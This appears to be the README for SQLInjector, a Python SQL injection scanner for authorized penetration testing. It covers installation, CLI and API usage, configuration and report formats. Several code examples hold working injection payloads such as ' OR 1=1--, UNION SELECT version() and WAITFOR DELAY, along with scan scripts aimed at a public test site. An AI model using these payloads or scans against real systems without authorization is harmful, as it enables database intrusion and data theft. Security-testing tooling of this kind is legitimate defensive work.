A professional SQL injection testing framework for authorized security testing and penetration testing.
THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY
SQLInjector is designed for:
- Testing your own applications
- Authorized penetration testing with written permission
- Educational purposes in controlled environments
- Bug bounty programs with proper authorization
- Security research with responsible disclosure
UNAUTHORIZED USE IS ILLEGAL AND UNETHICAL. The authors are not responsible for misuse of this tool.
- π― Comprehensive Testing: Boolean-blind, time-blind, UNION-based, error-based, and stacked query injection
- π Intelligent Detection: Advanced pattern matching and response analysis
- ποΈ Database Fingerprinting: Automatic detection of MySQL, PostgreSQL, MSSQL, Oracle, and SQLite
- β‘ Async Performance: Fast concurrent testing with configurable delays
- ποΈ Flexible Scanning: Test specific parameters or discover injection points automatically
- π Detailed Reporting: JSON, YAML, and HTML output formats with confidence scoring
- π» CLI & Python API: Use from command line or integrate into security tools
- π‘οΈ Ethical Framework: Built-in legal disclaimers and authorization checks
pip install sqlinjectorgit clone https://github.com/abderrahimghazali/sqlinjector.git
cd sqlinjector
pip install -e ".[dev]"# Legal disclaimer and help
sqlinjector disclaimer
# Basic vulnerability scan
sqlinjector scan https://vulnerable-app.com/login.php
# POST request with form data
sqlinjector scan https://app.com/login.php \
--method POST \
--data "username=admin&password=test"
# Test specific parameters
sqlinjector scan https://app.com/search.php?q=test \
--params q \
--injection-types boolean_blind time_blind
# Save detailed results
sqlinjector scan https://app.com/page.php \
--output results.json \
--format json \
--verboseimport asyncio
from sqlinjector import SQLInjector, VulnerabilityScanner
from sqlinjector.models import ScanConfig, HttpMethod
# Quick scan
async def quick_test():
from sqlinjector.scanner import quick_scan
result = await quick_scan(
"https://vulnerable-app.com/login.php",
method="POST",
data={"username": "admin", "password": "test"}
)
print(f"Found {len(result.vulnerabilities)} vulnerabilities")
return result
# Detailed scanning
async def detailed_scan():
config = ScanConfig(
url="https://vulnerable-app.com/search.php?q=test",
method=HttpMethod.GET,
delay=0.5, # Be respectful
max_payloads_per_type=15
)
scanner = VulnerabilityScanner(config)
result = await scanner.scan()
for vuln in result.vulnerabilities:
print(f"Found {vuln.injection_type.value} in {vuln.parameter}")
print(f"Severity: {vuln.severity.value}")
print(f"Confidence: {vuln.confidence:.1%}")
return result
# Run scans
result = asyncio.run(quick_test())- Boolean-based Blind: Infers data based on true/false responses
- Time-based Blind: Uses database delay functions to extract data
- UNION-based: Leverages UNION statements to extract data directly
- Error-based: Exploits database errors to reveal information
- Stacked Queries: Executes multiple SQL statements
- MySQL / MariaDB
- PostgreSQL
- Microsoft SQL Server
- Oracle Database
- SQLite
sqlinjector scan URL [OPTIONS]
Options:
--method, -m HTTP method (GET, POST, PUT, DELETE, PATCH)
--data, -d POST data (JSON or key=value pairs)
--headers, -H HTTP headers (key:value)
--cookies, -c Cookies (JSON or key=value pairs)
--params, -p Specific parameters to test
--injection-types Injection types to test
--delay Delay between requests (seconds)
--timeout Request timeout (seconds)
--max-payloads Maximum payloads per injection type
--output, -o Output file for results
--format, -f Output format (json, yaml, html)
--verbose, -v Verbose output
--no-ssl-verify Disable SSL verificationsqlinjector test URL --payload PAYLOAD --parameter PARAM [OPTIONS]sqlinjector payloads [--type TYPE] [--database DB] [--limit N]sqlinjector init [--output FILE] [--format FORMAT]target:
url: https://vulnerable-app.com/login.php
method: POST
headers:
User-Agent: "SQLInjector/1.0"
Content-Type: "application/x-www-form-urlencoded"
data:
username: admin
password: password
scan_settings:
delay: 0.5
timeout: 10.0
max_payloads_per_type: 15
injection_types:
- boolean_blind
- time_blind
- union_based
- error_based
test_parameters:
- username
- password
detection_settings:
time_delay_threshold: 5.0
error_detection: true
boolean_detection: true
output:
save_responses: false
output_format: jsonexport SQLINJECTOR_DELAY=0.5
export SQLINJECTOR_TIMEOUT=10
export SQLINJECTOR_USER_AGENT="Custom Scanner"
export SQLINJECTOR_VERIFY_SSL=falseimport asyncio
from sqlinjector import VulnerabilityScanner
from sqlinjector.models import ScanConfig, HttpMethod
async def test_login_form():
config = ScanConfig(
url="https://testphp.vulnweb.com/login.php",
method=HttpMethod.POST,
data={
"uname": "admin",
"pass": "password"
},
headers={
"User-Agent": "SQLInjector Security Test",
"Content-Type": "application/x-www-form-urlencoded"
},
delay=1.0, # Be respectful
max_payloads_per_type=10
)
scanner = VulnerabilityScanner(config)
result = await scanner.scan()
if result.vulnerabilities:
print(f"π¨ Found {len(result.vulnerabilities)} vulnerabilities!")
for vuln in result.vulnerabilities:
print(f" - {vuln.injection_type.value} in '{vuln.parameter}'")
else:
print("β
No vulnerabilities detected")
asyncio.run(test_login_form())from sqlinjector import SQLInjector
from sqlinjector.models import ScanConfig, InjectionPoint, HttpMethod
async def test_custom_payload():
config = ScanConfig(
url="https://vulnerable-app.com/search.php",
timeout=15.0
)
# Create injection point
injection_point = InjectionPoint(
parameter="q",
value="test",
location="query",
method=HttpMethod.GET
)
# Custom payloads
custom_payloads = [
"' OR 1=1--",
"' UNION SELECT version()--",
"'; WAITFOR DELAY '00:00:05'--"
]
async with SQLInjector(config) as injector:
results = await injector.test_injection_point_async(
injection_point,
custom_payloads
)
for result in results:
if result.injection_detected:
print(f"β
Payload worked: {result.payload}")
print(f" Type: {result.injection_type.value}")
print(f" Response time: {result.response_time:.2f}s")
asyncio.run(test_custom_payload())import asyncio
from sqlinjector.scanner import quick_scan
async def batch_test():
urls = [
"https://testphp.vulnweb.com/artists.php?artist=1",
"https://testphp.vulnweb.com/listproducts.php?cat=1",
"https://testphp.vulnweb.com/showimage.php?file=./picture.jpg"
]
for url in urls:
print(f"\nπ Testing: {url}")
try:
result = await quick_scan(url, delay=1.0)
if result.vulnerabilities:
print(f"π¨ Found {len(result.vulnerabilities)} vulnerabilities")
else:
print("β
No vulnerabilities detected")
except Exception as e:
print(f"β Error testing {url}: {e}")
asyncio.run(batch_test())- Get Written Authorization: Always obtain explicit written permission before testing
- Understand the Scope: Know exactly what you're allowed to test
- Follow Responsible Disclosure: Report findings appropriately
- Respect Rate Limits: Don't overwhelm target systems
- Document Everything: Keep detailed records of your testing
# Good: Respectful testing with delays
config = ScanConfig(
url="https://your-app.com/test",
delay=1.0, # 1 second between requests
max_payloads_per_type=5, # Limited payloads
timeout=10.0 # Reasonable timeout
)
# Good: Targeting specific parameters
config = ScanConfig(
url="https://your-app.com/search",
test_parameters=["q"], # Only test the search parameter
injection_types=[InjectionType.BOOLEAN_BLIND] # Less intrusive
)When you find vulnerabilities:
- Document Thoroughly: Include payload, response, and impact
- Provide Remediation: Suggest fixes and best practices
- Follow Disclosure Timeline: Give developers time to fix issues
- Be Professional: Communicate clearly and respectfully
{
"target_url": "https://example.com/login.php",
"vulnerabilities": [
{
"url": "https://example.com/login.php",
"parameter": "username",
"injection_type": "boolean_blind",
"payload": "' OR 1=1--",
"confidence": 0.95,
"severity": "high",
"description": "Boolean-based blind SQL injection...",
"evidence": [...],
"remediation": "Use parameterized queries..."
}
],
"scan_duration": 45.2,
"total_requests": 156,
"database_detected": "mysql"
}SQLInjector generates professional HTML reports with:
- Executive summary
- Vulnerability details with severity ratings
- Evidence and proof-of-concept payloads
- Remediation recommendations
- Technical details for developers
from sqlinjector.payloads import PayloadManager
# Get database-specific payloads
manager = PayloadManager()
mysql_payloads = manager.get_detection_payloads()["mysql"]from sqlinjector.payloads import PayloadManager
from sqlinjector.models import InjectionType
# Add custom payloads
manager = PayloadManager()
custom_payloads = [
"' AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
"' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
]
manager.add_custom_payloads(InjectionType.BOOLEAN_BLIND, custom_payloads)# Integration example for security scanners
import asyncio
from sqlinjector import VulnerabilityScanner
from sqlinjector.models import ScanConfig
class SecurityScanner:
def __init__(self):
self.sql_scanner = None
async def scan_for_sql_injection(self, target_url, **kwargs):
config = ScanConfig(url=target_url, **kwargs)
scanner = VulnerabilityScanner(config)
return await scanner.scan()
def format_findings(self, result):
return {
"tool": "SQLInjector",
"vulnerabilities": len(result.vulnerabilities),
"severity": "high" if result.get_critical_vulnerabilities() else "medium",
"details": [v.dict() for v in result.vulnerabilities]
}# Install development dependencies
pip install -e ".[dev]"
# Run all tests
pytest tests/ -v
# Run with coverage
pytest tests/ --cov=sqlinjector --cov-report=html
# Run integration tests (requires test environment)
pytest tests/integration/ -v --slow# Start vulnerable test application
docker-compose -f tests/docker-compose.test.yml up -d
# Run integration tests
pytest tests/integration/ -v
# Cleanup
docker-compose -f tests/docker-compose.test.yml downgit clone https://github.com/abderrahimghazali/sqlinjector.git
cd sqlinjector
pip install -e ".[dev]"
pre-commit install- Follow PEP 8 style guidelines
- Write comprehensive tests
- Document all functions and classes
- Include type hints
- Add examples for new features
This tool is provided for educational and authorized testing purposes only. Users are responsible for complying with all applicable laws and regulations. The authors disclaim any responsibility for unauthorized or illegal use.
- OWASP for SQL injection testing methodologies
- PortSwigger for Burp Suite inspiration
- sqlmap project for advanced techniques
- Security research community for vulnerability patterns
Remember: With great power comes great responsibility. Use SQLInjector ethically and responsibly.